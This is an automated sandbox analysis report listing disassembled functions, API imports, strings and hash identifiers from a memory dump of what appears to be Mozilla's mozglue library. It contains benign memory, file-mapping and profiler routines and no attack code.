Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Strings

name, xrefs: 6C9A8F16
timeline-fileio, xrefs: 6C9A90A4
timeline-memory, xrefs: 6C9A9088
stack-chart, xrefs: 6C9A90B2
timeline-ipc, xrefs: 6C9A9096
data, xrefs: 6C9A90E8
timeline-overview, xrefs: 6C9A907A
marker-table, xrefs: 6C9A906C
marker-chart, xrefs: 6C9A905E

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 3587db270f334bd0c9122e8662dc41922eadee169e25f3322c6553d6f581a181
Instruction ID: 1330020ea90a97ffd45ac92c3004f77723f81017e84c7f2b361751c87759220c
Opcode Fuzzy Hash: 3587db270f334bd0c9122e8662dc41922eadee169e25f3322c6553d6f581a181
Instruction Fuzzy Hash: E2B1D6B1A016099BDB04CFA5C8557EEBBB5FFA9308F214019D502ABF80D731E956CBE1

Function 6C98C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C98C5A3
WideCharToMultiByte.KERNEL32 ref: 6C98C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C98C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C98CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C98CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98CAA5

Strings

0, xrefs: 6C98D30A
(null), xrefs: 6C98C596

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: bd4f9a1abab8c956e2669e0b8e4dc52d9583475375fafa0ffc0005534789fd81
Instruction ID: 4d3f8cc7a15a501c7e9e2f23ae72ba8ba381af41f81348bcc3c58c195457fac3
Opcode Fuzzy Hash: bd4f9a1abab8c956e2669e0b8e4dc52d9583475375fafa0ffc0005534789fd81
Instruction Fuzzy Hash: 5EA1AD3160A3429FDB00DF28C984B5ABBF5AF89748F148E2DE999D7741D735E805CB82

Function 6C98C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C98C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C98C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C98C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C98C891

Strings

INF, xrefs: 6C98C794
inf, xrefs: 6C98C78F
nan, xrefs: 6C98C7A8
NAN, xrefs: 6C98C7AD

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 7eb72e2d7bc6875c961db0aba4d3dff7602a9f65ece7454d1b48b9513da6731c
Instruction ID: c7010a11a432cb8ecf2475fe7b871d1353d5c18ef2c8b2421e8c52977ba24628
Opcode Fuzzy Hash: 7eb72e2d7bc6875c961db0aba4d3dff7602a9f65ece7454d1b48b9513da6731c
Instruction Fuzzy Hash: CA5180719097808BDB00AF2CC48169AFBF4BF9A308F408E2DF9D5A7651E770D985CB42

Function 6C964480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C9A4843,?), ref: 6C9645F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C9A4843,?), ref: 6C96468A
free.MOZGLUE(?,?,?,?,?,?,6C9A4843,?), ref: 6C9646C9
free.MOZGLUE(?), ref: 6C9646EF
free.MOZGLUE(?), ref: 6C964712
free.MOZGLUE(?), ref: 6C964735
free.MOZGLUE(?), ref: 6C964758
free.MOZGLUE(?), ref: 6C96477B
free.MOZGLUE(?), ref: 6C96479E

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: b6f3e0b0c45f9f0254acbc676f9d6549eb6aae1470928b922c35e8f337be6040
Instruction ID: ef78ca1a2be99e36d69b1726d17566af4f7797fedd113f85631795d7642216ed
Opcode Fuzzy Hash: b6f3e0b0c45f9f0254acbc676f9d6549eb6aae1470928b922c35e8f337be6040
Instruction Fuzzy Hash: 77B1E071A001118FEB18DEAECCB076D76A6AF52328F184669E816DBFD6D730D8448F91

Function 6C9CAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9CAC52
CreateFileMappingW.KERNEL32 ref: 6C9CAC7D
GetSystemInfo.KERNEL32 ref: 6C9CAC98
MapViewOfFile.KERNEL32 ref: 6C9CACB0
GetSystemInfo.KERNEL32 ref: 6C9CACCD
MapViewOfFile.KERNEL32 ref: 6C9CAD05
UnmapViewOfFile.KERNEL32 ref: 6C9CAD1C
CloseHandle.KERNEL32 ref: 6C9CAD28
UnmapViewOfFile.KERNEL32 ref: 6C9CAD37
CloseHandle.KERNEL32 ref: 6C9CAD43
CloseHandle.KERNEL32 ref: 6C9CAD67

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: aeab245ff0520d0c25bef27baad138159b5e902f0a2f974ec9e1e2baf72d5775
Instruction ID: 4b684cd9fbbc8652758ac8e89f29857e4206b5016d9143b5e58397c321739914
Opcode Fuzzy Hash: aeab245ff0520d0c25bef27baad138159b5e902f0a2f974ec9e1e2baf72d5775
Instruction Fuzzy Hash: 143160B1A08744CFDB40EF78D64826EBBF0BF99305F11492DE98597211EB709498CB83

Function 6C979620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C979675
__Init_thread_footer.LIBCMT ref: 6C979697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C979707
__Init_thread_footer.LIBCMT ref: 6C97971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979773

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9797B7
FreeLibrary.KERNEL32 ref: 6C9797D0
FreeLibrary.KERNEL32 ref: 6C9797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979824

Strings

ntdll.dll, xrefs: 6C9796E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C979670
NtMapViewOfSection, xrefs: 6C979701
MapViewOfFileNuma2, xrefs: 6C9797B1

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 98fc70c33c622012ef72bd9233435f8807c6818598198a588f2c0f14928c3702
Instruction ID: 7e8fdfc8ad5144517c21ce8df4b63a26a1bcd6f2cd03ec9c488c05dc062ef457
Opcode Fuzzy Hash: 98fc70c33c622012ef72bd9233435f8807c6818598198a588f2c0f14928c3702
Instruction Fuzzy Hash: 5D41D371705205DBDF10CFA6E885A9677B4FFAEB28F21452AED1587B40D731E804CBA1

Function 6C961E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C961EC1
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C961EE1
EnterCriticalSection.KERNEL32(6C9EE744), ref: 6C961F38
LeaveCriticalSection.KERNEL32(6C9EE744), ref: 6C961F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C961F83
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C961FC0
EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C961FE2
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C961FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C962019

Strings

MOZ_CRASH(), xrefs: 6C962000

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 2d495351624decf2593bee35b9a459aeddf51a7ec0c2cace7f58f77aded56519
Instruction ID: f2ba052cf7492c0464a59c082c8487f3e70b98e54af125d4dc2e61d60cbfbf54
Opcode Fuzzy Hash: 2d495351624decf2593bee35b9a459aeddf51a7ec0c2cace7f58f77aded56519
Instruction Fuzzy Hash: 4941F471B0531A8FEF518F6AC884B6A36B5EF6E708F140029F90597B85DB72D8048BD5

Function 6C9B0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9B0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9B0041
GetCurrentThreadId.KERNEL32 ref: 6C9B0075
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9B0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9B0090
free.MOZGLUE(?), ref: 6C9B0104
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9B011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9B005B

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 97c9f2ec53b020f6942af883f80b1dcf4d860338ac7e3980faf377adf933e758
Instruction ID: 83b4b0540abaf1bb62a3b2058e3ef1be286db73bf313fde8a62dc9c725deecab
Opcode Fuzzy Hash: 97c9f2ec53b020f6942af883f80b1dcf4d860338ac7e3980faf377adf933e758
Instruction Fuzzy Hash: 08419AB1504344EFCB50CF64D844A9BBBF4FF69218F10491EE95A93B40E731E915CBA1

Function 6C977E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C977EA7
malloc.MOZGLUE(00000001), ref: 6C977EB3

Part of subcall function 6C97CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C97CB49
Part of subcall function 6C97CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C97CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C977EC4
mozalloc_abort.MOZGLUE(?), ref: 6C977F19
malloc.MOZGLUE(?), ref: 6C977F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C977F4D

Strings

d, xrefs: 6C977F89

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 3fb1e5cc49dcc8dca1e46f7913232e9ae6d7162592cb6cbe13af23b745bdbef5
Instruction ID: 69a7468ac97b922f51e652ed1b7a15066488a7417b186f7dc6e22aaa526188eb
Opcode Fuzzy Hash: 3fb1e5cc49dcc8dca1e46f7913232e9ae6d7162592cb6cbe13af23b745bdbef5
Instruction Fuzzy Hash: 5431E962E04688D7DB019B68CC045FEB778EFA6208F155629DD4567712FB30E5C8C7A0

Function 6C973E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C973EEE
RtlFreeHeap.NTDLL ref: 6C973FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C974006
RtlFreeHeap.NTDLL ref: 6C9740A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C9740AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C9740C2
RtlFreeHeap.NTDLL ref: 6C974134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C974143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C974157

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 154d79d16b68656d1e0cffe2cefc1c33a0585978868b3b81a8efc5d96e57a80d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: A9A18FB1A01215CFEB50CF68C880769B7B5FF58308F2541A9D909AF742D771E996CFA0

Function 6C962030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C983F47,?,?,?,6C983F47,6C981A70,?), ref: 6C96207F
memset.VCRUNTIME140(?,000000E5,6C983F47,?,6C983F47,6C981A70,?), ref: 6C9620DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C983F47,6C981A70,?), ref: 6C96211A
EnterCriticalSection.KERNEL32(6C9EE744,?,6C983F47,6C981A70,?), ref: 6C962145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C983F47,6C981A70,?), ref: 6C9621BA
EnterCriticalSection.KERNEL32(6C9EE744,?,6C983F47,6C981A70,?), ref: 6C9621E0
LeaveCriticalSection.KERNEL32(6C9EE744,?,6C983F47,6C981A70,?), ref: 6C962232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C962253, 6C962268
MOZ_CRASH(), xrefs: 6C96227D

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 69ff7bd8220be52a33ba63fe6e8d6b4849b38a1ad3e39aae8b59a4c1d8d43d18
Instruction ID: 3955bf924c4e04d34babe6acadf24d2fcac83a72945dca7d4093b150ef59391f
Opcode Fuzzy Hash: 69ff7bd8220be52a33ba63fe6e8d6b4849b38a1ad3e39aae8b59a4c1d8d43d18
Instruction Fuzzy Hash: F361E432F046068FEB04CB6AC88976E77B5AFA9318F294139E524A7ED4D731D900C781

Function 6C9648E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C9A483A,?), ref: 6C964ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C9A483A,?), ref: 6C964AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C9A483A,?), ref: 6C964A82

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C9A483A,?), ref: 6C964A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C9A483A,?), ref: 6C964A35

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C9A483A,?), ref: 6C964A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C9A483A,?), ref: 6C964AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C9A483A,?), ref: 6C964B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C9A483A,?), ref: 6C964B2C

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: a84d0be199cbb28496848d864678cdc3f749461a9bf79d0afd453fb8ba94fde4
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 557179B19007069FDB14CFA9C490AAAB7F5FF19308B104A3ED15A9BF80E731E555CB90

Function 6C9B9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B8273), ref: 6C9B9D65
free.MOZGLUE(6C9B8273,?), ref: 6C9B9D7C
free.MOZGLUE(?,?), ref: 6C9B9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9B9E0F
free.MOZGLUE(6C9B946B,?,?), ref: 6C9B9E24
free.MOZGLUE(?,?,?), ref: 6C9B9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9B9EC8
free.MOZGLUE(6C9B946B,?,?,?), ref: 6C9B9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9B9EF5

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 832ebaf5ef3c0875936127337d436d0e734ddf81b1aae6b431855a3bbf3094fe
Instruction ID: a65b76491e3ee5d797cae369799144fe2d540189cbfdcbbddadd602a45faaab8
Opcode Fuzzy Hash: 832ebaf5ef3c0875936127337d436d0e734ddf81b1aae6b431855a3bbf3094fe
Instruction Fuzzy Hash: 3A71927050AB41EBD712CF19C48055BF3F4FFA9315B459A1DE85A5B702EB30E885CB91

Function 6C9BDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9BDDCF

Part of subcall function 6C99FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C99FA4B

Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B90FF
Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDE0D
free.MOZGLUE(00000000), ref: 6C9BDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9ADEFD,?,6C974A68), ref: 6C9BDF32

Part of subcall function 6C9BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9BDB86
Part of subcall function 6C9BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9BDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9ADEFD,?,6C974A68), ref: 6C9BDF65
free.MOZGLUE(?), ref: 6C9BDF80

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
